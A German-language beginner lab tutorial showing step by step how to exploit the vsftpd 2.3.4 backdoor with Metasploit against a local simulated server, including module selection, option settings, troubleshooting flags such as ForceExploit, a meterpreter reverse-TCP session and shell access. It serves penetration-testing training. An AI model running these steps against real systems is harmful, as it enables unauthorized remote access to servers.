Einfache Ausführung eines Exploits mit Metasploit

LinuxBeginner
Jetzt üben

Einführung

Willkommen in der Welt des Penetration Testings mit Metasploit! Das Metasploit Framework ist ein leistungsstarkes Open-Source-Tool, das von Cybersicherheitsexperten verwendet wird, um Netzwerke und Server auf Schwachstellen zu prüfen.

In diesem Lab führen wir einen klassischen und unkomplizierten Exploit durch. Wir haben eine simulierte Umgebung eingerichtet, in der ein Server eine anfällige Version von VSFTPD (Very Secure FTP Daemon) ausführt, speziell die Version 2.3.4. Diese Version enthält eine bekannte Backdoor, die heimlich in den Quellcode eingefügt wurde.

Ihr Ziel ist es, die Metasploit-Konsole (msfconsole) zu verwenden, um einen Exploit gegen diesen Dienst zu finden, zu konfigurieren und zu starten, um eine Befehls-Shell auf dem Zielsystem zu erhalten. Diese praktische Übung vermittelt Ihnen den grundlegenden Arbeitsablauf bei der Verwendung von Metasploit für die Ausführung eines einfachen Exploits.

Legen wir los!

Auswahl des Exploit-Moduls für den anfälligen Dienst mit use exploit/unix/ftp/vsftpd_234_backdoor

In diesem Schritt starten Sie die Metasploit-Konsole und wählen das passende Exploit-Modul für die VSFTPD 2.3.4 Backdoor aus. Die msfconsole ist die primäre Schnittstelle für das Metasploit Framework.

Starten Sie zunächst die Metasploit-Konsole. Wir verwenden das Flag -q (quiet), um das Banner zu überspringen und den Start zu beschleunigen.

msfconsole -q

Sobald die Konsole geladen ist, ändert sich Ihr Prompt zu msf >. Jetzt müssen Sie Metasploit mitteilen, welchen Exploit Sie verwenden möchten. Der Befehl use lädt ein spezifisches Modul. Das Modul für die VSFTPD 2.3.4 Backdoor befindet sich unter exploit/unix/ftp/vsftpd_234_backdoor.

Führen Sie den folgenden Befehl in der Metasploit-Konsole aus:

use exploit/unix/ftp/vsftpd_234_backdoor

Nach der Ausführung des Befehls werden Sie feststellen, dass Ihr Prompt nun den Namen des ausgewählten Exploit-Moduls enthält. Dies zeigt an, dass das Modul aktiv und bereit für die Konfiguration ist.

Je nach Metasploit-Version wird möglicherweise automatisch ein Standard-Payload ausgewählt (z. B. cmd/linux/http/x86/meterpreter_reverse_tcp). Dieser Payload erfordert zwei Einstellungen:

  1. LHOST - Die IP-Adresse, an der Metasploit auf die Reverse-Verbindung wartet. Verwenden Sie für dieses Lab 127.0.0.1:
set LHOST 127.0.0.1
  1. Encoder - Der Standard-Encoder schlägt möglicherweise mit der Meldung "All encoders failed to encode" fehl. Setzen Sie den Encoder auf generic/none, um die Kodierung zu umgehen:
set Encoder generic/none

Festlegen der Ziel-IP mit set RHOSTS target_ip

In diesem Schritt konfigurieren Sie den Exploit, indem Sie die IP-Adresse des Zielhosts festlegen. Die meisten Metasploit-Module erfordern die Angabe eines Ziels. Die Option für den Remote-Zielhost lautet RHOSTS.

Da der anfällige FTP-Dienst auf demselben Rechner läuft, auf dem Sie sich befinden (unsere Lab-Umgebung), können Sie die Loopback-IP-Adresse 127.0.0.1 verwenden.

Um diese Option festzulegen, verwenden Sie den Befehl set, gefolgt vom Optionsnamen (RHOSTS) und dem Wert (127.0.0.1).

Geben Sie den folgenden Befehl in Ihrer msfconsole ein:

set RHOSTS 127.0.0.1

Metasploit bestätigt die Einstellung durch die Ausgabe der Option und ihres neuen Wertes.

RHOSTS => 127.0.0.1

Sie haben Metasploit nun mitgeteilt, wohin der Angriff gerichtet werden soll.

Überprüfung der Exploit-Optionen mit show options

In diesem Schritt überprüfen Sie, ob alle erforderlichen Optionen für den Exploit korrekt gesetzt sind, bevor Sie ihn starten. Dies ist eine wichtige Best Practice, um sicherzustellen, dass Ihr Exploit ordnungsgemäß konfiguriert ist.

Der Befehl show options zeigt alle konfigurierbaren Optionen für das aktuell geladene Modul, deren aktuelle Einstellungen und ob sie erforderlich sind.

Führen Sie den folgenden Befehl in Ihrer msfconsole aus:

show options

Sie sehen eine Tabelle mit den Modul- und Payload-Optionen.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     -----            --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Beobachten Sie die Ausgabe. Stellen Sie sicher, dass RHOSTS auf 127.0.0.1 und LHOST auf 127.0.0.1 gesetzt ist. Der RPORT ist 21 (FTP). Da alle erforderlichen Optionen gesetzt sind, können Sie fortfahren.

Ausführen des Exploits mit dem Befehl exploit

Nachdem der Exploit konfiguriert ist, führen Sie ihn gegen das Ziel aus. Der Befehl exploit (der zu run abgekürzt werden kann) startet den Angriff basierend auf dem aktuellen Modul und den Einstellungen.

Führen Sie den Exploit aus, indem Sie den folgenden Befehl eingeben und die Eingabetaste drücken:

exploit

FEHLERBEHEBUNG: Wenn Sie Msf::OptionValidateError One or more options failed to validate: LHOST sehen, führen Sie set LHOST 127.0.0.1 aus. Wenn Sie All encoders failed to encode sehen, führen Sie set Encoder generic/none aus, um die Kodierung zu deaktivieren. Wenn Sie Exploit aborted due to failure: not-vulnerable oder The target is not exploitable sehen, führen Sie set ForceExploit true (oder set AutoCheck false) aus. Führen Sie danach erneut exploit aus.

WARNUNG: Der erste Versuch schlägt möglicherweise mit "Unable to connect to backdoor on 6200/TCP. Cooldown?" oder "Exploit completed, but no session was created." fehl. Falls dies passiert, führen Sie einfach erneut den Befehl exploit aus – der zweite Versuch sollte erfolgreich sein.

Metasploit versucht nun, die Backdoor auszunutzen. Sie sehen eine Ausgabe, die die Schritte des Angriffs detailliert beschreibt. Bei Erfolg wird die Backdoor ausgelöst und eine Meterpreter-Sitzung geöffnet.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Wichtig: Nach erfolgreichem Exploit gelangen Sie in einen Meterpreter-Prompt. Dies ist der erfolgreiche Fernzugriff! Sie können shell ausführen, um eine interaktive Befehls-Shell zu erhalten, und dann whoami oder id ausführen, um zu bestätigen, dass Sie Zugriff haben:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

Herzlichen Glückwunsch, Sie haben erfolgreich Fernzugriff erlangt!

Überprüfen der Sitzung mit sessions -l

In diesem Schritt lernen Sie, wie Sie die aktive Verbindung oder "Sitzung" verwalten, die Sie gerade geöffnet haben. Metasploit ermöglicht es Ihnen, mehrere Sitzungen gleichzeitig geöffnet zu haben und zwischen ihnen zu wechseln.

Um zum msfconsole-Prompt zurückzukehren, ohne Ihre Sitzung zu schließen, müssen Sie sie zunächst in den Hintergrund verschieben. Drücken Sie Ctrl+Z auf Ihrer Tastatur. Wenn Sie sich innerhalb einer Shell befinden (nachdem Sie shell ausgeführt haben), geben Sie y ein, um den Kanal in den Hintergrund zu verschieben – Sie kehren zu meterpreter > zurück. Drücken Sie erneut Ctrl+Z und geben Sie bei der Aufforderung y ein, um die Sitzung in den Hintergrund zu verschieben:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

Der Befehl sessions funktioniert nur am Haupt-Prompt von Metasploit (msf exploit(...) >), nicht innerhalb von Meterpreter. Sie befinden sich nun wieder am Haupt-Prompt. Um eine Liste aller aktiven Sitzungen anzuzeigen, verwenden Sie den Befehl sessions mit dem Flag -l (list).

sessions -l

Dies zeigt eine Tabelle aller Sitzungen im Hintergrund an, einschließlich ihrer ID, ihres Typs und der Verbindungsinformationen.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Sie sehen Ihre Sitzung mit der ID 1. Wenn Sie erneut mit ihr interagieren möchten, würden Sie den Befehl sessions -i 1 verwenden. Diese Sitzungsverwaltung ist ein wesentliches Merkmal von Metasploit.

Zusammenfassung

Herzlichen Glückwunsch! Sie haben dieses Lab erfolgreich abgeschlossen und Ihren ersten Exploit mit dem Metasploit Framework durchgeführt.

In diesem Lab haben Sie den grundlegenden Arbeitsablauf eines Penetration Tests mit Metasploit kennengelernt:

  • Starten der Metasploit-Konsole (msfconsole).
  • Auswählen eines spezifischen Exploit-Moduls mit dem Befehl use.
  • Konfigurieren des Ziels des Moduls mit dem Befehl set.
  • Überprüfen der Konfiguration mit show options.
  • Starten des Angriffs mit dem Befehl exploit.
  • Verwalten der resultierenden Verbindung mit sessions.

Dieses grundlegende Muster aus "Auswählen, Konfigurieren, Ausnutzen" ist die Basis für fast alle Aktivitäten, die Sie innerhalb von Metasploit durchführen werden. Sie verfügen nun über das grundlegende Wissen, um komplexere Exploits und Payloads zu erforschen.